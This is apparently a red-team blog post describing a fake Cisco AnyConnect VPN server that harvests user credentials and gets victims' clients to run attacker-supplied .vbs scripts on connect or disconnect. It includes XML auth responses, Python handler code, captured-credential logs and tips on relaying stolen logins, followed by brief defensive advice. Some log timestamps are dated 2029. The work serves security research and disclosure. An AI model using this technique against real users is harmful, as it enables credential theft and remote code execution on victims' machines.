Making New Connections – Leveraging Cisco AnyConnect Client to Drop and Run Payloads
The Cisco AnyConnect client has received a fair amount of scrutiny from the security community over the years, with a particular focus on leveraging the vpnagent.exe service for privilege escalation. A while ago, we started to look at whether AnyConnect could be used to deliver payloads during red team engagements and having used the technique successfully, it seemed appropriate to make the technique public.
TL;DR – the tool release can be found at:
Working From Home
Most users are familiar with the concept of a VPN due to the increase in working-from-home, and how to make a VPN connection from their laptop (or at least knowing the software/icon that relates to the VPN connection). This increases odds on successful social engineering efforts using a VPN related pretext – users know what it is and can be walked through performing desired actions and more importantly, they need it so that they can continue working remotely.
The function that the VPN provides means that we can assume a few things to be aware of when considering as a vector for payload deployment:
- TLS VPN connections are unlikely to be forced through a proxy, nor are they likely to actually have access to the corporate proxy when not connected to the corporate network – this means
- No proxy logs for any connections
- No filtering based on categorisation
- DNS requests will be resolved by a public server, rather than the target’s internal service, reducing telemetry
- Dropped payloads may not be able to connect to command and control infrastructure until the legitimate corporate VPN connection is re-established
AnyConnect connection flow
A new VPN connection is initiated from the vpnui.exe process by supplying a fully qualified domain name:
After the initial TLS handshake is complete, the VPN server sends an XML response, detailing the name of the VPN and the supported authentication methods. The example below shows a VPN name of TEST-VPN and that the server expects a username and password:
<?xml version="1.0" encoding="UTF-8"?> <config-auth client="vpn" type="auth-request" aggregate-auth-version="2"> <opaque is-for="sg"> <tunnel-group>VPN</tunnel-group> <aggauth-handle>864640002</aggauth-handle> <auth-method>multiple-cert</auth-method> <auth-method>single-sign-on</auth-method> <group-alias>TEST-VPN</group-alias> <config-hash>1517719014268</config-hash> </opaque> <auth id="main"> <form> <input type="text" name="username" label="Username:"></input> <input type="password" name="password" label="Password:"></input> <select name="group_list" label="GROUP:"> <option selected="true">TEST-VPN</option> </select> </form> </auth> </config-auth>
The content of this XML response determines the appearance of the prompt for authentication, with the two main choices being:
- A username and password window, contained within the vpnui.exe process
- A web-based SAML login, rendered using acwebhelper.exe
In this scenario, we’ll focus on the standard username and password window that the XML above would cause to be displayed.
Credentials entered into this resulting window are sent to the VPN server in the body of a POST request. Assuming authentication is successful, the response contains information relating to:
- Any software upgrades that are available
- The profile that should be subsequently requested by the VPN client
- Any customisations, such as logos, locales or post-connection scripts
An example of this XML can be seen below:
<?xml version="1.0" encoding="UTF-8"?> <config-auth client="vpn" type="complete" aggregate-auth-version="2"> <session-id>101111</session-id> <session-token>AAAAAA@BBBBBB@CCCC@DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD</session-token> <auth id="success"> <message id="0" param1="" param2=""></message> </auth> <capabilities> <crypto-supported>ssl-dhe</crypto-supported> </capabilities> <config client="vpn" type="private"> <vpn-base-config> <base-package-uri>/CACHE/stc/1</base-package-uri> <server-cert-hash>###SERVERCERT###</server-cert-hash> </vpn-base-config> <opaque is-for="vpn-client"><service-profile-manifest> <ServiceProfiles rev="1.0"> <Profile service-type="user"> <FileName></FileName> <FileExtension>xml</FileExtension> <Directory></Directory> <DeployDirectory></DeployDirectory> <Description>AnyConnect VPN Profile</Description> <DownloadRemoveEmpty>false</DownloadRemoveEmpty> </Profile> <---REMOVED---> </ServiceProfiles> </service-profile-manifest> <vpn-client-pkg-version> <pkgversion>4,9,04053</pkgversion> </vpn-client-pkg-version> <vpn-core-manifest> <vpn rev="1.0"> <file version="4.9.04053" id="VPNCore" is_core="yes" type="msi" action="install" os="win:6.1.7601"> <uri>binaries/anyconnect-win-4.9.04053-core-vpn-webdeploy-k9.msi</uri> <display-name>AnyConnect Secure Mobility Client</display-name> </file> <---REMOVED---> </vpn> </vpn-core-manifest> </opaque> <vpn-profile-manifest> <vpn rev="1.0"> <file type="profile" service-type="user"> <uri>/CACHE/stc/profiles/profile_test.xml</uri> <hash type="sha1">###PROFILEHASH###</hash> </file> </vpn> </vpn-profile-manifest> <vpn-customization-manifest> <vpn rev="1.0"> <file app="AnyConnect" platform="win" type="binary"> <filename>scripts_OnDisconnect.vbs</filename> <hash type="sha1">###VBSHASH###</hash> <file app="AnyConnect" platform="win" type="binary"> <filename>scripts_OnConnect.vbs</filename> <hash type="sha1">###VBSHASHTWO###</hash> </file> </file> </vpn> </vpn-customization-manifest> </config> </config-auth>
The .vbs files referenced in the customisation section are downloaded following the delivery of this XML and then executed as the authenticated user upon a successful connection being established and then terminated respectively. Usable file types are not restricted to .vbs but this (along with .bat) appears to be the most commonly used.
Finally, the referenced profile is requested by the VPN client and returned by the server. This also has an XML structure and determines which usability and security features should be enabled for the connection. This is an important as it allows any restrictions imposed by the user’s regular VPN profile to be overridden, for example to permit script execution.
So what we can take from this is that the VPN server is able to execute arbitrary code on any connecting client, which sounds like something that would be useful for initial access into an environment.
Can’t we just use an ASA?
Research into the initial communications between the AnyConnect client and the VPN server was carried out using a legitimate Cisco ASA. In theory, it would be possible to spin up an ASA instance in a cloud provider and serve scripts to any user that connects to it, although this has some obvious drawbacks:
- A specific username and password need to be sent to the target in order for them to complete a connection
- The process would not be capable of capturing the user’s credentials.
- Served script names are automatically modified by the ASA
With this is mind, an old python web server script was dusted off and modified to respond to the series of requests that the AnyConnect client was expecting. Initial results were promising, showing that it was trivial to capture the username and password.
Sending INIT 192.168.1.30 - - [11/Jul/2029 13:37:37] "POST / HTTP/1.1" 200 - Unknown request 2029-07-11 13:37:59.378749 : ===================== User: vpnuser Password: mypassword ===================== Sending auth reply
To relay, or not to relay
Assuming the user enters the correct credentials, you can then relay these manually to the endpoint, or automate connectivity with the use of vpncli.exe, or OpenConnect. Or if it’s domain credentials, you can save the creds for later use.
If successful you have just got yourself a VPN session via a host which you’ve got pre-configured with all the tooling you want, not needing to be concerned about any on-host telemetry sources which a target blue team would have in the instance of a beacon, and also no worrying about C2 traffic being detected or not getting out of the network.
However, there are many factors that could prevent the relay of credentials from being successful:
- If the target/client is using machine certificates – you aren’t going to be getting VPN access 🙁
- Posture checking content may be being performed, and if you don’t know what’s being checked for you won’t be permitted access, at least the first time you attempt to connect.
- AnyConnect fires unique device ID’s and hostnames across to the ASA as well as the version, so if any alerting is being performed your configuration might not match (though maybe you could do some work to imitate/relay that content).
- If no simultaneous logins are permitted, the legitimate user won’t be able to login which might cause some noise (calls to helpdesk) which could lead to detection
OnConnect/OnDisconnect – getting code execution
It seemed logical to extend the script to continue responding to the VPN client’s requests with a valid profile and the supporting script files and at the same time, automate the generation of the various file hashes that the client used to check whether the profile and .vbs files had not been modified in transit.
Attempting a connection against the modified script showed the request for the OnDisconnect.vbs file that was referenced in the profile.
Sending INIT 192.168.1.30 - - [11/Jul/2029 13:37:37] "POST / HTTP/1.1" 200 - Unknown request 2029-07-11 13:37:59.378749 : ===================== User: vpnuser Password: mypassword ===================== Sending auth reply Replacing certificate thumbprint with: 273E4E1B10E0489D8762EAD30C088185DDB0B16B Replacing profile hash with: 32E35124209FF5014768600B0F7375D61069C39D Replacing VBS hash with: 249898741379D651195EA32993B227D933C46ECB /+CSCOT+/oem-customization?app=AnyConnect type=oem platform=win resource-type=binary name=scripts_OnDisconnect.vbs
However, the connection did not complete and the script was never invoked. Inspection of the traffic showed that the VPN client was sending a HTTP CONNECT request that the script was not configured to reply to. With a legitimate connection as a reference, a handler for the CONNECT verb was introduced.
def do_CONNECT(self): print "Handling CONNECT for " + self.path soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: if self._connect_to("127.0.0.1:9999", soc): self.wfile.write("HTTP/1.1 200 OKrn") self.wfile.write("X-CSTP-Version: 1rn") self.wfile.write("X-CSTP-Protocol: Copyright (c) 2004 Cisco Systems, Inc.rn") self.wfile.write("X-CSTP-Address: 192.168.1.128rn") self.wfile.write("X-CSTP-Netmask: 255.255.255.0rn") self.wfile.write("X-CSTP-Hostname: 192.168.1.159rn") self.wfile.write("X-CSTP-Lease-Duration: 1209600rn") self.wfile.write("X-CSTP-Session-Timeout: nonern") self.wfile.write("X-CSTP-Session-Timeout-Alert-Interval: 60rn") self.wfile.write("X-CSTP-Session-Timeout-Remaining: nonern") self.wfile.write("X-CSTP-Idle-Timeout: 1800rn") self.wfile.write("X-CSTP-DNS: 188.8.131.52rn") self.wfile.write("X-CSTP-Disconnected-Timeout: 1800rn") self.wfile.write("X-CSTP-Split-Include: 192.168.59.0/255.255.255.0rn") self.wfile.write("X-CSTP-Keep: falsern") self.wfile.write("X-CSTP-Tunnel-All-DNS: falsern") self.wfile.write("X-CSTP-DPD: 30rn") self.wfile.write("X-CSTP-Keepalive: 20rn") self.wfile.write("X-CSTP-MSIE-Proxy-Lockdown: falsern") self.wfile.write("X-CSTP-Smartcard-Removal-Disconnect: truern") self.wfile.write("X-DTLS-Session-ID: 456F8991F6A915202E1EF2BCE7DC22F2C6791C806311F7CC93E551E97DC1222Drn") self.wfile.write("X-DTLS-Port: 80rn") self.wfile.write("X-DTLS-Keepalive: 20rn") self.wfile.write("X-DTLS-DPD: 30rn") self.wfile.write("X-CSTP-MTU: 1367rn") self.wfile.write("X-DTLS-MTU: 1390rn") self.wfile.write("X-DTLS12-CipherSuite: ECDHE-RSA-AES256-GCM-SHA384rn") self.wfile.write("X-CSTP-Routing-Filtering-Ignore: falsern") self.wfile.write("X-CSTP-Quarantine: falsern") self.wfile.write("X-CSTP-Disable-Always-On-VPN: falsern") self.wfile.write("X-CSTP-Client-Bypass-Protocol: falsern") self.wfile.write("X-CSTP-TCP-Keepalive: false") self.end_headers() self.wfile.write("rn") self._read_write(soc, 300) finally: soc.close() self.connection.close()
To provide something to attempt to CONNECT to, a basic socket was also opened:
def loopbacksocket(): socksize = 1024 sock = socket.socket() sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind(("127.0.0.1",9999)) sock.listen(1) print "Started loopback listener for CONNECT" while True: print("Now listening...n") conn, addr = sock.accept() print 'New connection from %s:%d' % (addr, addr) data = conn.recv(socksize) conn.close()
Re-attempting the connection showed the VPN client briefly show a ‘connected’ status and then immediately disconnect, which was long enough to spawn a wscript.exe process and run our .vbs file.
The content of the VBS file is a separate exercise. As previously stated, execution is in the context of the authenticated user but unless a delay or additional checks are put in place, the code is likely to be run before the target has connected back up to their normal VPN.
So to summarise, what we end up with here is a VPN endpoint that will accept any credentials, log them and then serve a script file that is run in the context of the authenticated user.
Defending against this
Of course, it is important to show how this attack can be prevented or detected.
Prevent Alternative VPN Endpoints
If users typically only connect to one VPN endpoint, the option to manually specify an alternative can be removed by specifying the following setting in the profile:
Strong AppLocker Policies
A stringent AppLocker policy is a great addition to any environment. In the configuration described above, the .vbs script is launched via a wscript.exe process; if this had been blocked by AppLocker, the code execution would have failed. It’s worth noting though that AnyConnect will execute a variety of different file formats, so blocking unknown executables or common LOLBINs is advised.
Again, worthy general recommendation but in this instance it could be used to block connections from the following processes to anything other than the expected VPN endpoints:
Post and tool written by David Cash and Julian Storr